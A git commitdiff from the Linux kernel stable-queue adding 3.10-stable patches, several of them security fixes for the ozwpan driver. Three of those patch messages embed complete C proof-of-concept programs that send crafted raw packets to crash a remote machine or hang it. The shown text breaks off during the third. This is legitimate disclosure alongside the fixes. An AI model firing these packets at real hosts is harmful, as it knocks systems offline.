]> git.ipfire.org Git - thirdparty/kernel/stable-queue.git/commitdiff
3.10-stable patches
authorGreg Kroah-Hartman <gregkh@linuxfoundation.org>
Fri, 19 Jun 2015 19:29:18 +0000 (12:29 -0700)
committerGreg Kroah-Hartman <gregkh@linuxfoundation.org>
Fri, 19 Jun 2015 19:29:18 +0000 (12:29 -0700)
added patches:
cfg80211-wext-clear-sinfo-struct-before-calling-driver.patch
drm-i915-fix-ddc-probe-for-passive-adapters.patch
mips-fix-enabling-of-debug_stackoverflow.patch
mm-memory_hotplug.c-set-zone-wait_table-to-null-after-freeing-it.patch
ozwpan-divide-by-zero-leading-to-panic.patch
ozwpan-unchecked-signed-subtraction-leads-to-dos.patch
ozwpan-use-proper-check-to-prevent-heap-overflow.patch
pata_octeon_cf-fix-broken-build.patch
ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch

queue-3.10/cfg80211-wext-clear-sinfo-struct-before-calling-driver.patch [new file with mode: 0644]
queue-3.10/drm-i915-fix-ddc-probe-for-passive-adapters.patch [new file with mode: 0644]
queue-3.10/mips-fix-enabling-of-debug_stackoverflow.patch [new file with mode: 0644]
queue-3.10/mm-memory_hotplug.c-set-zone-wait_table-to-null-after-freeing-it.patch [new file with mode: 0644]
queue-3.10/ozwpan-divide-by-zero-leading-to-panic.patch [new file with mode: 0644]
queue-3.10/ozwpan-unchecked-signed-subtraction-leads-to-dos.patch [new file with mode: 0644]
queue-3.10/ozwpan-use-proper-check-to-prevent-heap-overflow.patch [new file with mode: 0644]
queue-3.10/pata_octeon_cf-fix-broken-build.patch [new file with mode: 0644]
queue-3.10/ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch [new file with mode: 0644]
queue-3.10/series

diff --git a/queue-3.10/cfg80211-wext-clear-sinfo-struct-before-calling-driver.patch b/queue-3.10/cfg80211-wext-clear-sinfo-struct-before-calling-driver.patch
new file mode 100644 (file)
index 0000000..002e75b
--- /dev/null
@@ -0,0 +1,49 @@
+From 9c5a18a31b321f120efda412281bb9f610f84aa0 Mon Sep 17 00:00:00 2001
+From: Johannes Berg <johannes.berg@intel.com>
+Date: Tue, 9 Jun 2015 21:35:44 +0200
+Subject: cfg80211: wext: clear sinfo struct before calling driver
+
+From: Johannes Berg <johannes.berg@intel.com>
+
+commit 9c5a18a31b321f120efda412281bb9f610f84aa0 upstream.
+
+Until recently, mac80211 overwrote all the statistics it could
+provide when getting called, but it now relies on the struct
+having been zeroed by the caller. This was always the case in
+nl80211, but wext used a static struct which could even cause
+values from one device leak to another.
+
+Using a static struct is OK (as even documented in a comment)
+since the whole usage of this function and its return value is
+always locked under RTNL. Not clearing the struct for calling
+the driver has always been wrong though, since drivers were
+free to only fill values they could report, so calling this
+for one device and then for another would always have leaked
+values from one to the other.
+
+Fix this by initializing the structure in question before the
+driver method call.
+
+This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691
+
+Reported-by: Gerrit Renker <gerrit@erg.abdn.ac.uk>
+Reported-by: Alexander Kaltsas <alexkaltsas@gmail.com>
+Signed-off-by: Johannes Berg <johannes.berg@intel.com>
+Signed-off-by: David S. Miller <davem@davemloft.net>
+Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
+
+---
+ net/wireless/wext-compat.c |    2 ++
+ 1 file changed, 2 insertions(+)
+
+--- a/net/wireless/wext-compat.c
++++ b/net/wireless/wext-compat.c
+@@ -1345,6 +1345,8 @@ static struct iw_statistics *cfg80211_wi
+       memcpy(bssid, wdev->current_bss->pub.bssid, ETH_ALEN);
+       wdev_unlock(wdev);
++      memset(&sinfo, 0, sizeof(sinfo));
++
+       if (rdev_get_station(rdev, dev, bssid, &sinfo))
+               return NULL;
diff --git a/queue-3.10/drm-i915-fix-ddc-probe-for-passive-adapters.patch b/queue-3.10/drm-i915-fix-ddc-probe-for-passive-adapters.patch
new file mode 100644 (file)
index 0000000..6ba5b63
--- /dev/null
@@ -0,0 +1,124 @@
+From 3f5f1554ee715639e78d9be87623ee82772537e0 Mon Sep 17 00:00:00 2001
+From: Jani Nikula <jani.nikula@intel.com>
+Date: Tue, 2 Jun 2015 19:21:15 +0300
+Subject: drm/i915: Fix DDC probe for passive adapters
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+From: Jani Nikula <jani.nikula@intel.com>
+
+commit 3f5f1554ee715639e78d9be87623ee82772537e0 upstream.
+
+Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI
+devices, as they do not have a sink device in them to respond to any AUX
+traffic. When probing these dongles over the DDC, sometimes they will
+NAK the first attempt even though the transaction is valid and they
+support the DDC protocol. The retry loop inside of
+drm_do_probe_ddc_edid() would normally catch this case and try the
+transaction again, resulting in success.
+
+That, however, was thwarted by the fix for [1]:
+
+commit 9292f37e1f5c79400254dca46f83313488093825
+Author: Eugeni Dodonov <eugeni.dodonov@intel.com>
+Date:   Thu Jan 5 09:34:28 2012 -0200
+
+    drm: give up on edid retries when i2c bus is not responding
+
+This added code to exit immediately if the return code from the
+i2c_transfer function was -ENXIO in order to reduce the amount of time
+spent in waiting for unresponsive or disconnected devices. That was
+possible because the underlying i2c bit banging algorithm had retries of
+its own (which, of course, were part of the reason for the bug the
+commit fixes).
+
+Since its introduction in
+
+commit f899fc64cda8569d0529452aafc0da31c042df2e
+Author: Chris Wilson <chris@chris-wilson.co.uk>
+Date:   Tue Jul 20 15:44:45 2010 -0700
+
+    drm/i915: use GMBUS to manage i2c links
+
+we've been flipping back and forth enabling the GMBUS transfers, but
+we've settled since then. The GMBUS implementation does not do any
+retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop
+on first encounter of -ENXIO. This, combined with Eugeni's commit, broke
+the retry on -ENXIO.
+
+Retry GMBUS once on -ENXIO on first message to mitigate the issues with
+passive adapters.
+
+This patch is based on the work, and commit message, by Todd Previte
+<tprevite@gmail.com>.
+
+[1] https://bugs.freedesktop.org/show_bug.cgi?id=41059
+
+v2: Don't retry if using bit banging.
+
+v3: Move retry within gmbux_xfer, retry only on first message.
+
+v4: Initialize GMBUS0 on retry (Ville).
+
+v5: Take index reads into account (Ville).
+
+Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924
+Cc: Todd Previte <tprevite@gmail.com>
+Tested-by: Oliver Grafe <oliver.grafe@ge.com> (v2)
+Tested-by: Jim Bride <jim.bride@linux.intel.com>
+Reviewed-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
+Signed-off-by: Jani Nikula <jani.nikula@intel.com>
+Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
+
+---
+ drivers/gpu/drm/i915/intel_i2c.c |   20 +++++++++++++++++---
+ 1 file changed, 17 insertions(+), 3 deletions(-)
+
+--- a/drivers/gpu/drm/i915/intel_i2c.c
++++ b/drivers/gpu/drm/i915/intel_i2c.c
+@@ -441,7 +441,7 @@ gmbus_xfer(struct i2c_adapter *adapter,
+                                              struct intel_gmbus,
+                                              adapter);
+       struct drm_i915_private *dev_priv = bus->dev_priv;
+-      int i, reg_offset;
++      int i = 0, inc, try = 0, reg_offset;
+       int ret = 0;
+       mutex_lock(&dev_priv->gmbus_mutex);
+@@ -453,12 +453,14 @@ gmbus_xfer(struct i2c_adapter *adapter,
+       reg_offset = dev_priv->gpio_mmio_base;
++retry:
+       I915_WRITE(GMBUS0 + reg_offset, bus->reg0);
+-      for (i = 0; i < num; i++) {
++      for (; i < num; i += inc) {
++              inc = 1;
+               if (gmbus_is_index_read(msgs, i, num)) {
+                       ret = gmbus_xfer_index_read(dev_priv, &msgs[i]);
+-                      i += 1;  /* set i to the index of the read xfer */
++                      inc = 2; /* an index read is two msgs */
+               } else if (msgs[i].flags & I2C_M_RD) {
+                       ret = gmbus_xfer_read(dev_priv, &msgs[i], 0);
+               } else {
+@@ -530,6 +532,18 @@ clear_err:
+                        adapter->name, msgs[i].addr,
+                        (msgs[i].flags & I2C_M_RD) ? 'r' : 'w', msgs[i].len);
++      /*
++       * Passive adapters sometimes NAK the first probe. Retry the first
++       * message once on -ENXIO for GMBUS transfers; the bit banging algorithm
++       * has retries internally. See also the retry loop in
++       * drm_do_probe_ddc_edid, which bails out on the first -ENXIO.
++       */
++      if (ret == -ENXIO && i == 0 && try++ == 0) {
++              DRM_DEBUG_KMS("GMBUS [%s] NAK on first message, retry\n",
++                            adapter->name);
++              goto retry;
++      }
++
+       goto out;
+ timeout:
diff --git a/queue-3.10/mips-fix-enabling-of-debug_stackoverflow.patch b/queue-3.10/mips-fix-enabling-of-debug_stackoverflow.patch
new file mode 100644 (file)
index 0000000..eefd527
--- /dev/null
@@ -0,0 +1,40 @@
+From 5f35b9cd553fd64415b563497d05a563c988dbd6 Mon Sep 17 00:00:00 2001
+From: James Hogan <james.hogan@imgtec.com>
+Date: Thu, 4 Jun 2015 13:25:27 +0100
+Subject: MIPS: Fix enabling of DEBUG_STACKOVERFLOW
+
+From: James Hogan <james.hogan@imgtec.com>
+
+commit 5f35b9cd553fd64415b563497d05a563c988dbd6 upstream.
+
+Commit 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") added
+kernel stack overflow detection, however it only enabled it conditional
+upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never
+actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW,
+which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so
+switch it to using that definition instead.
+
+Fixes: 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection")
+Signed-off-by: James Hogan <james.hogan@imgtec.com>
+Cc: Ralf Baechle <ralf@linux-mips.org>
+Cc: Adam Jiang <jiang.adam@gmail.com>
+Cc: linux-mips@linux-mips.org
+Patchwork: http://patchwork.linux-mips.org/patch/10531/
+Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
+Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
+
+---
+ arch/mips/kernel/irq.c |    2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+--- a/arch/mips/kernel/irq.c
++++ b/arch/mips/kernel/irq.c
+@@ -110,7 +110,7 @@ void __init init_IRQ(void)
+ #endif
+ }
+-#ifdef DEBUG_STACKOVERFLOW
++#ifdef CONFIG_DEBUG_STACKOVERFLOW
+ static inline void check_stack_overflow(void)
+ {
+       unsigned long sp;
diff --git a/queue-3.10/mm-memory_hotplug.c-set-zone-wait_table-to-null-after-freeing-it.patch b/queue-3.10/mm-memory_hotplug.c-set-zone-wait_table-to-null-after-freeing-it.patch
new file mode 100644 (file)
index 0000000..ba9d23b
--- /dev/null
@@ -0,0 +1,94 @@
+From 85bd839983778fcd0c1c043327b14a046e979b39 Mon Sep 17 00:00:00 2001
+From: Gu Zheng <guz.fnst@cn.fujitsu.com>
+Date: Wed, 10 Jun 2015 11:14:43 -0700
+Subject: mm/memory_hotplug.c: set zone->wait_table to null after freeing it
+
+From: Gu Zheng <guz.fnst@cn.fujitsu.com>
+
+commit 85bd839983778fcd0c1c043327b14a046e979b39 upstream.
+
+Izumi found the following oops when hot re-adding a node:
+
+    BUG: unable to handle kernel paging request at ffffc90008963690
+    IP: __wake_up_bit+0x20/0x70
+    Oops: 0000 [#1] SMP
+    CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80
+    Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015
+    task: ffff880838df8000 ti: ffff880017b94000 task.ti: ffff880017b94000
+    RIP: 0010:[<ffffffff810dff80>]  [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
+    RSP: 0018:ffff880017b97be8  EFLAGS: 00010246
+    RAX: ffffc90008963690 RBX: 00000000003c0000 RCX: 000000000000a4c9
+    RDX: 0000000000000000 RSI: ffffea101bffd500 RDI: ffffc90008963648
+    RBP: ffff880017b97c08 R08: 0000000002000020 R09: 0000000000000000
+    R10: 0000000000000000 R11: 0000000000000000 R12: ffff8a0797c73800
+    R13: ffffea101bffd500 R14: 0000000000000001 R15: 00000000003c0000
+    FS:  00007fcc7ffff700(0000) GS:ffff880874800000(0000) knlGS:0000000000000000
+    CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
+    CR2: ffffc90008963690 CR3: 0000000836761000 CR4: 00000000001407e0
+    Call Trace:
+      unlock_page+0x6d/0x70
+      generic_write_end+0x53/0xb0
+      xfs_vm_write_end+0x29/0x80 [xfs]
+      generic_perform_write+0x10a/0x1e0
+      xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs]
+      xfs_file_write_iter+0x79/0x120 [xfs]
+      __vfs_write+0xd4/0x110
+      vfs_write+0xac/0x1c0
+      SyS_write+0x58/0xd0
+      system_call_fastpath+0x12/0x76
+    Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48
+    RIP  [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
+     RSP <ffff880017b97be8>
+    CR2: ffffc90008963690
+
+Reproduce method (re-add a node)::
+  Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic)
+
+This seems an use-after-free problem, and the root cause is
+zone->wait_table was not set to *NULL* after free it in
+try_offline_node.
+
+When hot re-add a node, we will reuse the pgdat of it, so does the zone
+struct, and when add pages to the target zone, it will init the zone
+first (including the wait_table) if the zone is not initialized.  The
+judgement of zone initialized is based on zone->wait_table:
+
+       static inline bool zone_is_initialized(struct zone *zone)
+       {
+               return !!zone->wait_table;
+       }
+
+so if we do not set the zone->wait_table to *NULL* after free it, the
+memory hotplug routine will skip the init of new zone when hot re-add
+the node, and the wait_table still points to the freed memory, then we
+will access the invalid address when trying to wake up the waiting
+people after the i/o operation with the page is done, such as mentioned
+above.
+
+Signed-off-by: Gu Zheng <guz.fnst@cn.fujitsu.com>
+Reported-by: Taku Izumi <izumi.taku@jp.fujitsu.com>
+Reviewed by: Yasuaki Ishimatsu <isimatu.yasuaki@jp.fujitsu.com>
+Cc: KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>
+Cc: Tang Chen <tangchen@cn.fujitsu.com>
+Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
+Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
+Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
+
+---
+ mm/memory_hotplug.c |    4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+--- a/mm/memory_hotplug.c
++++ b/mm/memory_hotplug.c
+@@ -1803,8 +1803,10 @@ void try_offline_node(int nid)
+                * wait_table may be allocated from boot memory,
+                * here only free if it's allocated by vmalloc.
+                */
+-              if (is_vmalloc_addr(zone->wait_table))
++              if (is_vmalloc_addr(zone->wait_table)) {
+                       vfree(zone->wait_table);
++                      zone->wait_table = NULL;
++              }
+       }
+ }
+ EXPORT_SYMBOL(try_offline_node);
diff --git a/queue-3.10/ozwpan-divide-by-zero-leading-to-panic.patch b/queue-3.10/ozwpan-divide-by-zero-leading-to-panic.patch
new file mode 100644 (file)
index 0000000..859aa2e
--- /dev/null
@@ -0,0 +1,181 @@
+From 04bf464a5dfd9ade0dda918e44366c2c61fce80b Mon Sep 17 00:00:00 2001
+From: "Jason A. Donenfeld" <Jason@zx2c4.com>
+Date: Fri, 29 May 2015 13:07:00 +0200
+Subject: ozwpan: divide-by-zero leading to panic
+
+From: "Jason A. Donenfeld" <Jason@zx2c4.com>
+
+commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream.
+
+A network supplied parameter was not checked before division, leading to
+a divide-by-zero. Since this happens in the softirq path, it leads to a
+crash. A PoC follows below, which requires the ozprotocol.h file from
+this module.
+
+=-=-=-=-=-=
+
+ #include <arpa/inet.h>
+ #include <linux/if_packet.h>
+ #include <net/if.h>
+ #include <netinet/ether.h>
+ #include <stdio.h>
+ #include <string.h>
+ #include <stdlib.h>
+ #include <endian.h>
+ #include <sys/ioctl.h>
+ #include <sys/socket.h>
+
+ #define u8 uint8_t
+ #define u16 uint16_t
+ #define u32 uint32_t
+ #define __packed __attribute__((__packed__))
+ #include "ozprotocol.h"
+
+static int hex2num(char c)
+{
+       if (c >= '0' && c <= '9')
+               return c - '0';
+       if (c >= 'a' && c <= 'f')
+               return c - 'a' + 10;
+       if (c >= 'A' && c <= 'F')
+               return c - 'A' + 10;
+       return -1;
+}
+static int hwaddr_aton(const char *txt, uint8_t *addr)
+{
+       int i;
+       for (i = 0; i < 6; i++) {
+               int a, b;
+               a = hex2num(*txt++);
+               if (a < 0)
+                       return -1;
+               b = hex2num(*txt++);
+               if (b < 0)
+                       return -1;
+               *addr++ = (a << 4) | b;
+               if (i < 5 && *txt++ != ':')
+                       return -1;
+       }
+       return 0;
+}
+
+int main(int argc, char *argv[])
+{
+       if (argc < 3) {
+               fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
+               return 1;
+       }
+
+       uint8_t dest_mac[6];
+       if (hwaddr_aton(argv[2], dest_mac)) {
+               fprintf(stderr, "Invalid mac address.\n");
+               return 1;
+       }
+
+       int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
+       if (sockfd < 0) {
+               perror("socket");
+               return 1;
+       }
+
+       struct ifreq if_idx;
+       int interface_index;
+       strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
+       if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
+               perror("SIOCGIFINDEX");
+               return 1;
+       }
+       interface_index = if_idx.ifr_ifindex;
+       if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
+               perror("SIOCGIFHWADDR");
+               return 1;
+       }
+       uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
+
+       struct {
+               struct ether_header ether_header;
+               struct oz_hdr oz_hdr;
+               struct oz_elt oz_elt;
+               struct oz_elt_connect_req oz_elt_connect_req;
+               struct oz_elt oz_elt2;
+               struct oz_multiple_fixed oz_multiple_fixed;
+       } __packed packet = {
+               .ether_header = {
+                       .ether_type = htons(OZ_ETHERTYPE),
+                       .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
+                       .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
+               },
+               .oz_hdr = {
+                       .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
+                       .last_pkt_num = 0,
+                       .pkt_num = htole32(0)
+               },
+               .oz_elt = {
+                       .type = OZ_ELT_CONNECT_REQ,
+                       .length = sizeof(struct oz_elt_connect_req)
+               },
+               .oz_elt_connect_req = {
+                       .mode = 0,
+                       .resv1 = {0},
+                       .pd_info = 0,
+                       .session_id = 0,
+                       .presleep = 0,
+                       .ms_isoc_latency = 0,
+                       .host_vendor = 0,
+                       .keep_alive = 0,
+                       .apps = htole16((1 << OZ_APPID_USB) | 0x1),
+                       .max_len_div16 = 0,
+                       .ms_per_isoc = 0,
+                       .up_audio_buf = 0,
+                       .ms_per_elt = 0
+               },
+               .oz_elt2 = {
+                       .type = OZ_ELT_APP_DATA,
+                       .length = sizeof(struct oz_multiple_fixed)
+               },
+               .oz_multiple_fixed = {
+                       .app_id = OZ_APPID_USB,
+                       .elt_seq_num = 0,
+                       .type = OZ_USB_ENDPOINT_DATA,
+                       .endpoint = 0,
+                       .format = OZ_DATA_F_MULTIPLE_FIXED,
+                       .unit_size = 0,
+                       .data = {0}
+               }
+       };
+
+       struct sockaddr_ll socket_address = {
+               .sll_ifindex = interface_index,
+               .sll_halen = ETH_ALEN,
+               .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
+       };
+
+       if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
+               perror("sendto");
+               return 1;
+       }
+       return 0;
+}
+
+Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
+Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
+Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
+
+---
+ drivers/staging/ozwpan/ozusbsvc1.c |    5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+--- a/drivers/staging/ozwpan/ozusbsvc1.c
++++ b/drivers/staging/ozwpan/ozusbsvc1.c
+@@ -314,7 +314,10 @@ static void oz_usb_handle_ep_data(struct
+                       struct oz_multiple_fixed *body =
+                               (struct oz_multiple_fixed *)data_hdr;
+                       u8 *data = body->data;
+-                      int n = (len - sizeof(struct oz_multiple_fixed)+1)
++                      int n;
++                      if (!body->unit_size)
++                              break;
++                      n = (len - sizeof(struct oz_multiple_fixed)+1)
+                               / body->unit_size;
+                       while (n--) {
+                               oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
diff --git a/queue-3.10/ozwpan-unchecked-signed-subtraction-leads-to-dos.patch b/queue-3.10/ozwpan-unchecked-signed-subtraction-leads-to-dos.patch
new file mode 100644 (file)
index 0000000..12dc174
--- /dev/null
@@ -0,0 +1,186 @@
+From 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 Mon Sep 17 00:00:00 2001
+From: "Jason A. Donenfeld" <Jason@zx2c4.com>
+Date: Fri, 29 May 2015 13:07:01 +0200
+Subject: ozwpan: unchecked signed subtraction leads to DoS
+
+From: "Jason A. Donenfeld" <Jason@zx2c4.com>
+
+commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream.
+
+The subtraction here was using a signed integer and did not have any
+bounds checking at all. This commit adds proper bounds checking, made
+easy by use of an unsigned integer. This way, a single packet won't be
+able to remotely trigger a massive loop, locking up the system for a
+considerable amount of time. A PoC follows below, which requires
+ozprotocol.h from this module.
+
+=-=-=-=-=-=
+
+ #include <arpa/inet.h>
+ #include <linux/if_packet.h>
+ #include <net/if.h>
+ #include <netinet/ether.h>
+ #include <stdio.h>
+ #include <string.h>
+ #include <stdlib.h>
+ #include <endian.h>
+ #include <sys/ioctl.h>
+ #include <sys/socket.h>
+
+ #define u8 uint8_t
+ #define u16 uint16_t
+ #define u32 uint32_t
+ #define __packed __attribute__((__packed__))
+ #include "ozprotocol.h"
+
+static int hex2num(char c)
+{
+       if (c >= '0' && c <= '9')
+               return c - '0';
+       if (c >= 'a' && c <= 'f')
+               return c - 'a' + 10;
+       if (c >= 'A' && c <= 'F')
+               return c - 'A' + 10;
+       return -1;
+}
+static int hwaddr_aton(const char *txt, uint8_t *addr)
+{
+       int i;
+       for (i = 0; i < 6; i++) {
+               int a, b;
+               a = hex2num(*txt++);
+               if (a < 0)
+                       return -1;
+               b = hex2num(*txt++);
+               if (b < 0)
+                       return -1;
+               *addr++ = (a << 4) | b;
+               if (i < 5 && *txt++ != ':')
+                       return -1;
+       }
+       return 0;
+}
+
+int main(int argc, char *argv[])
+{
+       if (argc < 3) {
+               fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
+               return 1;
+       }
+
+       uint8_t dest_mac[6];
+       if (hwaddr_aton(argv[2], dest_mac)) {
+               fprintf(stderr, "Invalid mac address.\n");
+               return 1;
+       }
+
+       int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
+       if (sockfd < 0) {
+               perror("socket");
+               return 1;
+       }
+
+       struct ifreq if_idx;
+       int interface_index;
+       strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
+       if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
+               perror("SIOCGIFINDEX");
+               return 1;
+       }
+       interface_index = if_idx.ifr_ifindex;
+       if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
+               perror("SIOCGIFHWADDR");
+               return 1;
+       }
+       uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
+
+       struct {
+               struct ether_header ether_header;
+               struct oz_hdr oz_hdr;
+               struct oz_elt oz_elt;
+               struct oz_elt_connect_req oz_elt_connect_req;
+               struct oz_elt oz_elt2;
+               struct oz_multiple_fixed oz_multiple_fixed;
+       } __packed packet = {
+               .ether_header = {
+                       .ether_type = htons(OZ_ETHERTYPE),
+                       .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
+                       .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
+               },
+               .oz_hdr = {
+                       .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
+                       .last_pkt_num = 0,
+                       .pkt_num = htole32(0)
+               },
+               .oz_elt = {
+                       .type = OZ_ELT_CONNECT_REQ,
+                       .length = sizeof(struct oz_elt_connect_req)
+               },
+               .oz_elt_connect_req = {
+                       .mode = 0,
+                       .resv1 = {0},
+                       .pd_info = 0,
+                       .session_id = 0,
+                       .presleep = 0,
+                       .ms_isoc_latency = 0,
+                       .host_vendor = 0,
+                       .keep_alive = 0,
+                       .apps = htole16((1 << OZ_APPID_USB) | 0x1),
+                       .max_len_div16 = 0,
+                       .ms_per_isoc = 0,
+                       .up_audio_buf = 0,
+                       .ms_per_elt = 0
+               },
+               .oz_elt2 = {
+                       .type = OZ_ELT_APP_DATA,
+                       .length = sizeof(struct oz_multiple_fixed) - 3
+               },
+               .oz_multiple_fixed = {
+                       .app_id = OZ_APPID_USB,
+                       .elt_seq_num = 0,
+                       .type = OZ_USB_ENDPOINT_DATA,
+                       .endpoint = 0,
+                       .format = OZ_DATA_F_MULTIPLE_FIXED,
+                       .unit_size = 1,
+                       .data = {0}
+               }
+       };
+
+       struct sockaddr_ll socket_address = {
+               .sll_ifindex = interface_index,
+               .sll_halen = ETH_ALEN,
+               .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
+       };
+
+       if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
+               perror("sendto");
+               return 1;
+       }
+       return 0;
+}
+
+Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
+Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
+Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
+
+---
+ drivers/staging/ozwpan/ozusbsvc1.c |    7 ++++---
+ 1 file changed, 4 insertions(+), 3 deletions(-)
+
+--- a/drivers/staging/ozwpan/ozusbsvc1.c
++++ b/drivers/staging/ozwpan/ozusbsvc1.c
+@@ -314,10 +314,11 @@ static void oz_usb_handle_ep_data(struct
+                       struct oz_multiple_fixed *body =
+                               (struct oz_multiple_fixed *)data_hdr;
+                       u8 *data = body->data;
+-                      int n;
+-                      if (!body->unit_size)
++                      unsigned int n;
++                      if (!body->unit_size ||
++                              len < sizeof(struct oz_multiple_fixed) - 1)
+                               break;
+-                      n = (len - sizeof(struct oz_multiple_fixed)+1)
++                      n = (len - (sizeof(struct oz_multiple_fixed) - 1))
+                               / body->unit_size;
+                       while (n--) {
+                               oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
diff --git a/queue-3.10/ozwpan-use-proper-check-to-prevent-heap-overflow.patch b/queue-3.10/ozwpan-use-proper-check-to-prevent-heap-overflow.patch
new file mode 100644 (file)
index 0000000..0dbaa27
--- /dev/null
@@ -0,0 +1,215 @@
+From d114b9fe78c8d6fc6e70808c2092aa307c36dc8e Mon Sep 17 00:00:00 2001
+From: "Jason A. Donenfeld" <Jason@zx2c4.com>
+Date: Fri, 29 May 2015 13:06:58 +0200
+Subject: ozwpan: Use proper check to prevent heap overflow
+
+From: "Jason A. Donenfeld" <Jason@zx2c4.com>
+
+commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.
+
+Since elt->length is a u8, we can make this variable a u8. Then we can
+do proper bounds checking more easily. Without this, a potentially
+negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
+resulting in a remotely exploitable heap overflow with network
+supplied data.
+
+This could result in remote code execution. A PoC which obtains DoS
+follows below. It requires the ozprotocol.h file from this module.
+
+=-=-=-=-=-=
+
+ #include <arpa/inet.h>
+ #include <linux/if_packet.h>
+ #include <net/if.h>
+ #include <netinet/ether.h>
+ #include <stdio.h>
+ #include <string.h>
+ #include <stdlib.h>
+ #include <endian.h>
+ #include <sys/ioctl.h>
+ #include <sys/socket.h>
+
+ #define u8 uint8_t
+ #define u16 uint16_t
+ #define u32 uint32_t
+ #define __packed __attribute__((__packed__))
+ #include "ozprotocol.h"
+
+static int hex2num(char c)
+{
+       if (c >= '0' && c <= '9')
+               return c - '0';
+       if (c >= 'a' && c <= 'f')
+               return c - 'a' + 10;
+       if (c >= 'A' && c <= 'F')
+               return c - 'A' + 10;
+       return -1;
+}
+static int hwaddr_aton(const char *txt, uint8_t *addr)
+{
+       int i;
+       for (i = 0; i < 6; i++) {
+               int a, b;
+               a = hex2num(*txt++);
+               if (a < 0)
+                       return -1;
+               b = hex2num(*txt++);
+               if (b < 0)
+                       return -1;
+               *addr++ = (a << 4) | b;
+               if (i < 5 && *txt++ != ':')
+                       return -1;
+       }
+       return 0;
+}
+
+int main(int argc, char *argv[])
+{
+       if (argc < 3) {
+               fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
+               return 1;
+       }
+
+       uint8_t dest_mac[6];
+       if (hwaddr_aton(argv[2], dest_mac)) {
+               fprintf(stderr, "Invalid mac address.\n");
+               return 1;
+       }
+
